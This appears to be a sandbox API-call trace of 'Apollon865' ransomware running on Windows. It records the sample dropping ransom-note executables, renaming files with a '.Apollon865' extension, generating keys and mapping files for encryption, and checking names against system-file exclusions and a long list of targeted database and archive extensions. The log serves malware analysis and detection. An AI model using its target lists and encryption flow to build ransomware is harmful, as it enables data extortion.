	[0044.285] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x32777230, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x32777230, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0044.285] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.285] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0044.285] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat"
	[0044.285] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0044.285] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0044.285] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat") returned 60
	[0044.285] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat"
	[0044.285] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0044.285] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0044.289] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0044.289] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x32777230, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x32777230, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0044.290] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.290] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0044.290] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="10.0" | out: lpString1="10.0") returned="10.0"
	[0044.290] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0044.290] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x84) returned 0x5b9168
	[0044.290] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b79b0 | out: ListHead=0x5b76b0, ListEntry=0x5b79b0) returned 0x5b7990
	[0044.290] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x32777230, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x32777230, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0044.290] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0044.290] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x32777230, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x32777230, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0044.290] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0044.290] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b79b0
	[0044.290] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0"
	[0044.290] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9168 | out: hHeap=0x580000) returned 1
	[0044.290] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0044.290] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0") returned 65
	[0044.290] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0"
	[0044.290] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0044.290] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0044.296] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0044.296] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3279d390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3279d390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0044.296] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.296] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0044.296] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="rdrmessage.zip" | out: lpString1="rdrmessage.zip") returned="rdrmessage.zip"
	[0044.296] lstrlenW (lpString="rdrmessage.zip") returned 14
	[0044.296] lstrlenW (lpString="Apollon865") returned 10
	[0044.296] lstrcmpiW (lpString1="essage.zip", lpString2="Apollon865") returned 1
	[0044.296] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip.Apollon865") returned 91
	[0044.296] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip.apollon865"), dwFlags=0x1) returned 1
	[0044.297] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0044.297] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=42495) returned 1
	[0044.297] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0044.297] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0044.297] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0044.297] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0044.298] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0044.298] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0044.298] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa900, lpName=0x0) returned 0x154
	[0044.301] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa900) returned 0x100000
	[0044.304] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0044.304] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0044.304] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0044.305] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0044.305] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0044.305] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0044.305] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0044.305] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0044.305] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0044.305] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599bd8
	[0044.305] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0044.305] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0044.305] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0044.305] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0044.306] CloseHandle (hObject=0x154) returned 1
	[0044.306] CloseHandle (hObject=0x15c) returned 1
	[0044.306] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0044.306] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0044.306] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0044.306] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce824760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce824760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe5ab8070, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ReaderMessages", cAlternateFileName="READER~1")) returned 1
	[0044.306] lstrcmpiW (lpString1="ReaderMessages", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0044.306] lstrcmpiW (lpString1="ReaderMessages", lpString2="Apollon865.txt.exe") returned 1
	[0044.306] lstrcmpiW (lpString1="ReaderMessages", lpString2=".") returned 1
	[0044.306] lstrcmpiW (lpString1="ReaderMessages", lpString2="..") returned 1
	[0044.306] lstrcmpiW (lpString1="ReaderMessages", lpString2="windows") returned -1
	[0044.306] lstrcmpiW (lpString1="ReaderMessages", lpString2="bootmgr") returned 1
	[0044.306] lstrcmpiW (lpString1="ReaderMessages", lpString2="temp") returned -1
	[0044.306] lstrcmpiW (lpString1="ReaderMessages", lpString2="pagefile.sys") returned 1
	[0044.306] lstrcmpiW (lpString1="ReaderMessages", lpString2="boot") returned 1
	[0044.306] lstrcmpiW (lpString1="ReaderMessages", lpString2="ids.txt") returned 1
	[0044.306] lstrcmpiW (lpString1="ReaderMessages", lpString2="ntuser.dat") returned 1
	[0044.306] lstrcmpiW (lpString1="ReaderMessages", lpString2="perflogs") returned 1
	[0044.306] lstrcmpiW (lpString1="ReaderMessages", lpString2="MSBuild") returned 1
	[0044.307] lstrlenW (lpString="ReaderMessages") returned 14
	[0044.307] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip") returned 80
	[0044.307] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="ReaderMessages" | out: lpString1="ReaderMessages") returned="ReaderMessages"
	[0044.307] lstrlenW (lpString="ReaderMessages") returned 14
	[0044.307] lstrlenW (lpString="Apollon865") returned 10
	[0044.307] lstrcmpiW (lpString1="erMessages", lpString2="Apollon865") returned 1
	[0044.307] lstrlenW (lpString=".dll") returned 4
	[0044.307] lstrcmpiW (lpString1="ReaderMessages", lpString2=".dll") returned 1
	[0044.307] lstrlenW (lpString=".lnk") returned 4
	[0044.307] lstrcmpiW (lpString1="ReaderMessages", lpString2=".lnk") returned 1
	[0044.307] lstrlenW (lpString=".ini") returned 4
	[0044.307] lstrcmpiW (lpString1="ReaderMessages", lpString2=".ini") returned 1
	[0044.307] lstrlenW (lpString=".sys") returned 4
	[0044.307] lstrcmpiW (lpString1="ReaderMessages", lpString2=".sys") returned 1
	[0044.307] lstrlenW (lpString="ReaderMessages") returned 14
	[0044.307] lstrlenW (lpString="bak") returned 3
	[0044.307] lstrcmpiW (lpString1="ges", lpString2="bak") returned 1
	[0044.307] lstrlenW (lpString="ba_") returned 3
	[0044.307] lstrcmpiW (lpString1="ges", lpString2="ba_") returned 1
	[0044.307] lstrlenW (lpString="dbb") returned 3
	[0044.307] lstrcmpiW (lpString1="ges", lpString2="dbb") returned 1
	[0044.307] lstrlenW (lpString="vmdk") returned 4
	[0044.307] lstrcmpiW (lpString1="ages", lpString2="vmdk") returned -1
	[0044.307] lstrlenW (lpString="rar") returned 3
	[0044.307] lstrcmpiW (lpString1="ges", lpString2="rar") returned -1
	[0044.307] lstrlenW (lpString="zip") returned 3
	[0044.307] lstrcmpiW (lpString1="ges", lpString2="zip") returned -1
	[0044.307] lstrlenW (lpString="tgz") returned 3
	[0044.307] lstrcmpiW (lpString1="ges", lpString2="tgz") returned -1
	[0044.307] lstrlenW (lpString="vbox") returned 4
	[0044.307] lstrcmpiW (lpString1="ages", lpString2="vbox") returned -1
	[0044.307] lstrlenW (lpString="vdi") returned 3
	[0044.307] lstrcmpiW (lpString1="ges", lpString2="vdi") returned -1
	[0044.307] lstrlenW (lpString="vhd") returned 3
	[0044.307] lstrcmpiW (lpString1="ges", lpString2="vhd") returned -1
	[0044.308] lstrlenW (lpString="vhdx") returned 4
	[0044.308] lstrcmpiW (lpString1="ages", lpString2="vhdx") returned -1
	[0044.308] lstrlenW (lpString="avhd") returned 4
	[0044.308] lstrcmpiW (lpString1="ages", lpString2="avhd") returned -1
	[0044.308] lstrlenW (lpString="db") returned 2
	[0044.308] lstrcmpiW (lpString1="es", lpString2="db") returned 1
	[0044.308] lstrlenW (lpString="db2") returned 3
	[0044.308] lstrcmpiW (lpString1="ges", lpString2="db2") returned 1
	[0044.308] lstrlenW (lpString="db3") returned 3
	[0044.308] lstrcmpiW (lpString1="ges", lpString2="db3") returned 1
	[0044.308] lstrlenW (lpString="dbf") returned 3
	[0044.308] lstrcmpiW (lpString1="ges", lpString2="dbf") returned 1
	[0044.308] lstrlenW (lpString="mdf") returned 3
	[0044.308] lstrcmpiW (lpString1="ges", lpString2="mdf") returned -1
	[0044.308] lstrlenW (lpString="mdb") returned 3
	[0044.308] lstrcmpiW (lpString1="ges", lpString2="mdb") returned -1
	[0044.308] lstrlenW (lpString="sql") returned 3
	[0044.308] lstrcmpiW (lpString1="ges", lpString2="sql") returned -1
	[0044.308] lstrlenW (lpString="sqlite") returned 6
	[0044.308] lstrcmpiW (lpString1="ssages", lpString2="sqlite") returned 1
	[0044.308] lstrlenW (lpString="sqlite3") returned 7
	[0044.308] lstrcmpiW (lpString1="essages", lpString2="sqlite3") returned -1
	[0044.308] lstrlenW (lpString="sqlitedb") returned 8
	[0044.308] lstrcmpiW (lpString1="Messages", lpString2="sqlitedb") returned -1
	[0044.308] lstrlenW (lpString="xml") returned 3
	[0044.308] lstrcmpiW (lpString1="ges", lpString2="xml") returned -1
	[0044.308] lstrlenW (lpString="$er") returned 3
	[0044.308] lstrcmpiW (lpString1="ges", lpString2="$er") returned 1
	[0044.308] lstrlenW (lpString="4dd") returned 3
	[0044.308] lstrcmpiW (lpString1="ges", lpString2="4dd") returned 1
	[0044.308] lstrlenW (lpString="4dl") returned 3
	[0044.308] lstrcmpiW (lpString1="ges", lpString2="4dl") returned 1
	[0044.308] lstrlenW (lpString="^^^") returned 3
	[0044.308] lstrcmpiW (lpString1="ges", lpString2="^^^") returned 1
	[0044.308] lstrlenW (lpString="abs") returned 3
	[0044.309] lstrcmpiW (lpString1="ges", lpString2="abs") returned 1
	[0044.309] lstrlenW (lpString="abx") returned 3
	[0044.309] lstrcmpiW (lpString1="ges", lpString2="abx") returned 1
	[0044.309] lstrlenW (lpString="accdb") returned 5
	[0044.309] lstrcmpiW (lpString1="sages", lpString2="accdb") returned 1
	[0044.309] lstrlenW (lpString="accdc") returned 5
	[0044.309] lstrcmpiW (lpString1="sages", lpString2="accdc") returned 1
	[0044.309] lstrlenW (lpString="accde") returned 5
	[0044.309] lstrcmpiW (lpString1="sages", lpString2="accde") returned 1
	[0044.309] lstrlenW (lpString="accdr") returned 5
	[0044.309] lstrcmpiW (lpString1="sages", lpString2="accdr") returned 1
	[0044.309] lstrlenW (lpString="accdt") returned 5
	[0044.309] lstrcmpiW (lpString1="sages", lpString2="accdt") returned 1
	[0044.309] lstrlenW (lpString="accdw") returned 5
	[0044.309] lstrcmpiW (lpString1="sages", lpString2="accdw") returned 1
	[0044.309] lstrlenW (lpString="accft") returned 5
	[0044.309] lstrcmpiW (lpString1="sages", lpString2="accft") returned 1
	[0044.309] lstrlenW (lpString="adb") returned 3
	[0044.309] lstrcmpiW (lpString1="ges", lpString2="adb") returned 1
	[0044.309] lstrlenW (lpString="adb") returned 3
	[0044.309] lstrcmpiW (lpString1="ges", lpString2="adb") returned 1
	[0044.309] lstrlenW (lpString="ade") returned 3
	[0044.309] lstrcmpiW (lpString1="ges", lpString2="ade") returned 1
	[0044.309] lstrlenW (lpString="adf") returned 3
	[0044.309] lstrcmpiW (lpString1="ges", lpString2="adf") returned 1
	[0044.309] lstrlenW (lpString="adn") returned 3
	[0044.309] lstrcmpiW (lpString1="ges", lpString2="adn") returned 1
	[0044.309] lstrlenW (lpString="adp") returned 3
	[0044.309] lstrcmpiW (lpString1="ges", lpString2="adp") returned 1
	[0044.309] lstrlenW (lpString="alf") returned 3
	[0044.309] lstrcmpiW (lpString1="ges", lpString2="alf") returned 1
	[0044.309] lstrlenW (lpString="ask") returned 3
	[0044.309] lstrcmpiW (lpString1="ges", lpString2="ask") returned 1
	[0044.309] lstrlenW (lpString="btr") returned 3
	[0044.309] lstrcmpiW (lpString1="ges", lpString2="btr") returned 1
	[0044.310] lstrlenW (lpString="cat") returned 3
	[0044.310] lstrcmpiW (lpString1="ges", lpString2="cat") returned 1
	[0044.310] lstrlenW (lpString="cdb") returned 3
	[0044.310] lstrcmpiW (lpString1="ges", lpString2="cdb") returned 1
	[0044.310] lstrlenW (lpString="ckp") returned 3
	[0044.310] lstrcmpiW (lpString1="ges", lpString2="ckp") returned 1
	[0044.310] lstrlenW (lpString="cma") returned 3
	[0044.310] lstrcmpiW (lpString1="ges", lpString2="cma") returned 1
	[0044.310] lstrlenW (lpString="cpd") returned 3
	[0044.310] lstrcmpiW (lpString1="ges", lpString2="cpd") returned 1
	[0044.310] lstrlenW (lpString="dacpac") returned 6
	[0044.310] lstrcmpiW (lpString1="ssages", lpString2="dacpac") returned 1
	[0044.310] lstrlenW (lpString="dad") returned 3
	[0044.310] lstrcmpiW (lpString1="ges", lpString2="dad") returned 1
	[0044.310] lstrlenW (lpString="dadiagrams") returned 10
	[0044.310] lstrcmpiW (lpString1="erMessages", lpString2="dadiagrams") returned 1
	[0044.310] lstrlenW (lpString="daschema") returned 8
	[0044.310] lstrcmpiW (lpString1="Messages", lpString2="daschema") returned 1
	[0044.310] lstrlenW (lpString="db-journal") returned 10
	[0044.310] lstrcmpiW (lpString1="erMessages", lpString2="db-journal") returned 1
	[0044.310] lstrlenW (lpString="db-shm") returned 6
	[0044.310] lstrcmpiW (lpString1="ssages", lpString2="db-shm") returned 1
	[0044.310] lstrlenW (lpString="db-wal") returned 6
	[0044.310] lstrcmpiW (lpString1="ssages", lpString2="db-wal") returned 1
	[0044.310] lstrlenW (lpString="dbc") returned 3
	[0044.310] lstrcmpiW (lpString1="ges", lpString2="dbc") returned 1
	[0044.310] lstrlenW (lpString="dbs") returned 3
	[0044.310] lstrcmpiW (lpString1="ges", lpString2="dbs") returned 1
	[0044.310] lstrlenW (lpString="dbt") returned 3
	[0044.310] lstrcmpiW (lpString1="ges", lpString2="dbt") returned 1
	[0044.310] lstrlenW (lpString="dbv") returned 3
	[0044.310] lstrcmpiW (lpString1="ges", lpString2="dbv") returned 1
	[0044.310] lstrlenW (lpString="dbx") returned 3
	[0044.310] lstrcmpiW (lpString1="ges", lpString2="dbx") returned 1
	[0044.310] lstrlenW (lpString="dcb") returned 3
	[0044.311] lstrcmpiW (lpString1="ges", lpString2="dcb") returned 1
	[0044.311] lstrlenW (lpString="dct") returned 3
	[0044.311] lstrcmpiW (lpString1="ges", lpString2="dct") returned 1
	[0044.311] lstrlenW (lpString="dcx") returned 3
	[0044.311] lstrcmpiW (lpString1="ges", lpString2="dcx") returned 1
	[0044.311] lstrlenW (lpString="ddl") returned 3
	[0044.311] lstrcmpiW (lpString1="ges", lpString2="ddl") returned 1
	[0044.311] lstrlenW (lpString="dlis") returned 4
	[0044.311] lstrcmpiW (lpString1="ages", lpString2="dlis") returned -1
	[0044.311] lstrlenW (lpString="dp1") returned 3
	[0044.311] lstrcmpiW (lpString1="ges", lpString2="dp1") returned 1
	[0044.311] lstrlenW (lpString="dqy") returned 3
	[0044.311] lstrcmpiW (lpString1="ges", lpString2="dqy") returned 1
	[0044.311] lstrlenW (lpString="dsk") returned 3
	[0044.311] lstrcmpiW (lpString1="ges", lpString2="dsk") returned 1
	[0044.311] lstrlenW (lpString="dsn") returned 3
	[0044.311] lstrcmpiW (lpString1="ges", lpString2="dsn") returned 1
	[0044.311] lstrlenW (lpString="dtsx") returned 4
	[0044.311] lstrcmpiW (lpString1="ages", lpString2="dtsx") returned -1
	[0044.311] lstrlenW (lpString="dxl") returned 3
	[0044.311] lstrcmpiW (lpString1="ges", lpString2="dxl") returned 1
	[0044.311] lstrlenW (lpString="eco") returned 3
	[0044.311] lstrcmpiW (lpString1="ges", lpString2="eco") returned 1
	[0044.311] lstrlenW (lpString="ecx") returned 3
	[0044.311] lstrcmpiW (lpString1="ges", lpString2="ecx") returned 1
	[0044.311] lstrlenW (lpString="edb") returned 3
	[0044.311] lstrcmpiW (lpString1="ges", lpString2="edb") returned 1
	[0044.311] lstrlenW (lpString="epim") returned 4
	[0044.311] lstrcmpiW (lpString1="ages", lpString2="epim") returned -1
	[0044.311] lstrlenW (lpString="fcd") returned 3
	[0044.311] lstrcmpiW (lpString1="ges", lpString2="fcd") returned 1
	[0044.311] lstrlenW (lpString="fdb") returned 3
	[0044.311] lstrcmpiW (lpString1="ges", lpString2="fdb") returned 1
	[0044.311] lstrlenW (lpString="fic") returned 3
	[0044.311] lstrcmpiW (lpString1="ges", lpString2="fic") returned 1
	[0044.312] lstrlenW (lpString="flexolibrary") returned 12
	[0044.312] lstrcmpiW (lpString1="aderMessages", lpString2="flexolibrary") returned -1
	[0044.312] lstrlenW (lpString="fm5") returned 3
	[0044.312] lstrcmpiW (lpString1="ges", lpString2="fm5") returned 1
	[0044.312] lstrlenW (lpString="fmp") returned 3
	[0044.312] lstrcmpiW (lpString1="ges", lpString2="fmp") returned 1
	[0044.312] lstrlenW (lpString="fmp12") returned 5
	[0044.312] lstrcmpiW (lpString1="sages", lpString2="fmp12") returned 1
	[0044.312] lstrlenW (lpString="fmpsl") returned 5
	[0044.312] lstrcmpiW (lpString1="sages", lpString2="fmpsl") returned 1
	[0044.312] lstrlenW (lpString="fol") returned 3
	[0044.312] lstrcmpiW (lpString1="ges", lpString2="fol") returned 1
	[0044.312] lstrlenW (lpString="fp3") returned 3
	[0044.312] lstrcmpiW (lpString1="ges", lpString2="fp3") returned 1
	[0044.312] lstrlenW (lpString="fp4") returned 3
	[0044.312] lstrcmpiW (lpString1="ges", lpString2="fp4") returned 1
	[0044.312] lstrlenW (lpString="fp5") returned 3
	[0044.312] lstrcmpiW (lpString1="ges", lpString2="fp5") returned 1
	[0044.312] lstrlenW (lpString="fp7") returned 3
	[0044.312] lstrcmpiW (lpString1="ges", lpString2="fp7") returned 1
	[0044.312] lstrlenW (lpString="fpt") returned 3
	[0044.312] lstrcmpiW (lpString1="ges", lpString2="fpt") returned 1
	[0044.312] lstrlenW (lpString="frm") returned 3
	[0044.312] lstrcmpiW (lpString1="ges", lpString2="frm") returned 1
	[0044.312] lstrlenW (lpString="gdb") returned 3
	[0044.312] lstrcmpiW (lpString1="ges", lpString2="gdb") returned 1
	[0044.312] lstrlenW (lpString="gdb") returned 3
	[0044.312] lstrcmpiW (lpString1="ges", lpString2="gdb") returned 1
	[0044.312] lstrlenW (lpString="grdb") returned 4
	[0044.312] lstrcmpiW (lpString1="ages", lpString2="grdb") returned -1
	[0044.312] lstrlenW (lpString="gwi") returned 3
